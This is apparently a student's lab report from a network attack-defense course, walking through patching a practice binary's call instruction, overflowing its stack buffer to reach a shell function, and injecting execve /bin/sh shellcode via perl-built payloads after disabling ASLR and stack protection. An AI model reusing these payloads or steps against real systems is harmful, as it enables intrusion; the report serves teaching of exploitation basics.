2019-2020-2 20175227张雪莹《网络对抗技术》 Exp1 PC平台逆向破解

2019-2020-2 20175227张雪莹《网络对抗技术》

Exp1 PC平台逆向破解

目录

0. 实验目标

  • 本次实践的对象是一个名为pwn1为了区别于其他同学以改名为“pwn1_20175227)的linux可执行文件。
  • 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
  • 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下个代码是不会被运行的。
  • 我们实践的目标就是想办法运行这个代码片段。
  • 我们将学两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
    返回目录

1. 实验内容

  • 1.1 直接修改程序机器指令,改变程序执行流程
    • 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具

    • 学习目标:理解可执行文件与机器指令

    • 进阶:掌握ELF文件格式,掌握动态技术

    • 步骤:

      • 下载目标文件pwn1,用objdump -d pwn1 | more反汇编并分页显示。

      • 输入/main,查找main函数;其中,"call 8048491 "是汇编指令。

        • 其对应机器指令为“e8 d7ffffff”,e8即跳转之意。
        • 本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba
      • 这条指令将调用位于地址8048491处的foo函数;输入/foo查找foo函数,如下图:

        • 当执行“e8 d7ffffff”时,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。
        • d7ffffff”是补码,表示-41
        • 41=0x29 80484ba + d7ffffff= 80484ba-0x29 正好是8048491这个值


      • main函数调用foo,对应机器指令为“e8 d7ffffff”,

        • 那我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。
        • 用Windows计算器,直接 47d-4ba就能得到补码,是c3ffffff
      • 下面我们就修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff

        • cp pwn1 pwn2复制文件,以保留修改前文件;并用vi编辑pwn2
      • 可执行文件中因为已经汇编为机器代码,在我们看来就是一堆乱码,因此我们需要将他的显示模式切换为16进制模式,即输入Esc+:%!xxd

      • 之后,输入/d7查找e8d7ffffff(可以多查找几次,以防有重复字段,一般关键词前后十个字节一致,就是查找目标值)

    • 找到目标之后回车确认,输入r+c,r+3,将d7修改为c3

    • 输入:%!xxd -r将16进制转换为原格式并存盘退出vi。

    • 再输入objdump -d pwn2 | more反汇编看一下,call指令是否正确调用getShell

      • 运行一下pwn1pwn2
        • pwn1 功能:显示用户输入的内容
        • pwn2功能:实现shell功能

          返回目录
  • 1.2 通过构造输入参数,造成BOF攻击,改变程序执行流
    • 知识要求:堆栈结构,返回地址

    • 学习目标:理解攻击缓冲区的结果,掌握返回地址的获取

    • 进阶:掌握ELF文件格式,掌握动态技术

    • 步骤:

      • 输入objdump -d pwn1 | more反汇编pwn1
        • 该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞
        • lea指令将栈顶指针向低地址前进了28个字节(1c = 16 + 12 = 28),即为用户输入的字符串预留了28个字节。
        • 如果用户输入的字符串超出28g个字节,会造成溢出,可以达到我们覆盖返回地址的目标。
    • 确认输入字符串哪几个字符会覆盖到返回地址

      • 这里我们使用gdb调试功能
      • 其中EIP的值为0x35353535,35为5的ASCII码值。
    • 再次调试程序,继续查看EIP中的值

      • EIP中值为0x34333231,分别为4、3、2、1的ASCII码值。
      • 由此,我们可以看到输入数据的“1234”所在位的值覆盖了EIP之前的值,
        + 而且存储方式为小端模式。(注意这句话,后续修改返回地址时输入的数据顺序才不会出错。)
    • 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。

      • 那只要把这四个字符替换为 getShell 的内存地址,输给pwn1pwn1就会跳转到getShell函数。
    • 确认用什么值来覆盖返回地址

      • getShell的内存地址,在之前的操作中我们已经得到,即0804847d
      • 因此我们应该输入11111111222222223333333344444444\x08\x04\x84\x7d
      • 或是输入11111111222222223333333344444444\x7d\x84\x04\x08
      • 这里,我们知道应该输入第二种,即小端模式。
    • 由于我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值

      • 需要用到perl功能翻译一下

      • \x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。

      • 那现在我们是否可以运行pwn1时直接输入perl翻译出来的字符串呢?

        • 将该字符串用./pwn1 String输入,我们会发现该程序不支持
        • 将pwn1运行后输入该字符串,会提示段错误,但并不会跳转到getShell函数
        • 说明我们复制显示出的字符串并不是真正翻译的那个值
      • 所以可以使用16进制查看指令xxd查看input文件的内容,即真实的翻译值。

      • 然后将input的输入,通过管道符“|”,作为pwn1的输入。


        返回目录

    • 1.3 注入Shellcode并执行
      • 准备一段Shellcode

        • 知识点:

          • shellcode就是一段机器指令(code)

          通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe)
          所以这段机器指令被称为shellcode。
          在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

        • 步骤:参考学长博客Shellcode入门

      • 准备工作

        • 依次输入:
        execstack -s pwn1    //设置堆栈可执行
        execstack -q pwn1    //查询文件的堆栈是否可执行
        more /proc/sys/kernel/randomize_va_space
        echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
        more /proc/sys/kernel/randomize_va_space
        

    • 构造要注入的payload

      • Linux下有两种基本构造攻击buf的方法:

      retaddr+nop+shellcode
      nop+shellcode+retaddr

      • 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
        简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前面
      • 我们这个buf够放这个shellcode了
      • 结构为:nops+shellcode+retaddr。
        • nop一为是了填充,二是作为“着陆区/滑行区”。
        • 我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
      • 首先利用十六进制编辑指令perl构造一个字符串,写入到input_shellcode文件中用作文件执行时的输入。在这段字符串中,末尾的\x4\x3\x2\x1会覆盖到堆栈上的返回地址。(注意最后一个字符不要设置成\x0a,否则会影响接下来的操作)
      perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
      
      • 接下来我们来确定\x4\x3\x2\x1到底该填什么。
        • 打开一个终端注入这段攻击buf:
        (cat input_shellcode;cat) | ./pwn   //注意这时先不要按回车,否则后续找不到该进程
        
        • 开另外一个终端,输入ps -ef | grep pwn1pwn1的进程号

        • gdb来调试pwn1这个进程。

        • 进程号为4535

        • 输入attach4535启动gdb调试这个进程。

        • 输入disassemble foo查看到ret的地址为0x080484ae

        • 输入break *0x080484ae0x080484ae处设置断点。

        • 在之前的终端中按下回车,然后在调试的终端中输入c继续运行。

        • 输入info r esp查看栈顶指针所在的位置,并查看改地址存放的数据:

        • 上图中可以看到0xffffd2bc存放的数据是01020304,就是返回地址的位置。shellcode地址就是 0xffffd2bc+4,即0xffffd2c0

      • 修改注入地址
        • 修改文件中代码为
          perl -e 'print "A" x 32;print "\xc0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
        • 执行(cat input_shellcode;cat) | ./pwn1,如下图所示攻击成功,执行shell功能:

返回目录

2. 实验内容

  • 2.1 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
    • NOP的机器码为:0x90
    • JNE的机器码为:0x75
    • JE的机器码为:0x74
    • JMP的机器码为
      • Short Jump(短跳转):0xEB
      • Near Jump(近跳转):0xE9
      • Far Jump(远跳转):0xEA
    • CMP的机器码为:0x39
  • 2.2 掌握反汇编与十六进制编程器
    • 反汇编指令为:objdump -d <文件名>
    • 十六进制编辑器perl指令为:perl -e 'print "xxx"' > input
  • 2.3 能正确修改机器指令改变程序执行流程
  • 2.4 能正确构造payload进行bof攻击

返回目录

3. 老师提问

  • 什么是漏洞?漏洞有什么危害?
    • 回答:漏洞在这里是没有边界检查时由于编程错误可能导致系统崩溃等其他错误,广义上漏洞是在硬件、软件、协议的实现过程中或安全策略上存在的缺陷,这些都能被攻击者利用而篡改重要信息、运行恶意代码等用来威胁系统安全。这会导致系统崩溃、重要信息被窃取等危害。
      返回目录

4. 所遇到的问题及其解决方法

  • 4.1 问题1
    • 描述:无法运行pwn1以及pwn2,如图:

    • 解决方法:它提示我权限不够,添加sudo 或是用su命令进入root权限都不可以运行。查看文件属性之后,我意识到我在首次编辑pwn2时由于输入错误异常退出,于是我将该文件删了,在同一名字下重新编辑,这样操作可能导致文件权限被改变。于是,我将文件重新命名后正常修改后执行即可。结果在此。

  • 4.2 问题2
    • 描述:输入gdb后提示,如图:

    • 解决办法:参照网上博文,安装gdb,安装成功截图如下:

  • 4.3 问题3
    • 描述:未安装execstack,如图:
    • 解决方法:输入sudo apt-get updatesudo apt-get install execstack等待片刻即可。
  • 4.4 问题4
    • 描述:输入echo "0" > /proc/sys/kernel/randomize_va_space后提示权限不够,如图:
    • 解决方法:参考网上解决方法,应该是因为权限问题,改用sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"即可,如图:

返回目录

5. 实验感想

  • 在这次实验中,我通过实践来具体经历了在上学期《信息安全技术》中学到的缓冲区溢出攻击。更加深刻地认识到,缓冲区溢出攻击具体是如何修改返回地址的,将这些知识结合汇编语言以及在《信息安全系统设计原理》中学到的一些指令,收获着实不小。总的来说,这次实验进行得非常顺利,基本上遇到的问题都很简单,得益于老师的细心讲解以及往届学长的总结博客,学下来既感觉收获良多,得到的训练也很大。

返回目录

6.参考资料

返回目录

posted @ 2020-03-02 15:06  20175227  阅读(201)  评论(0编辑  收藏  举报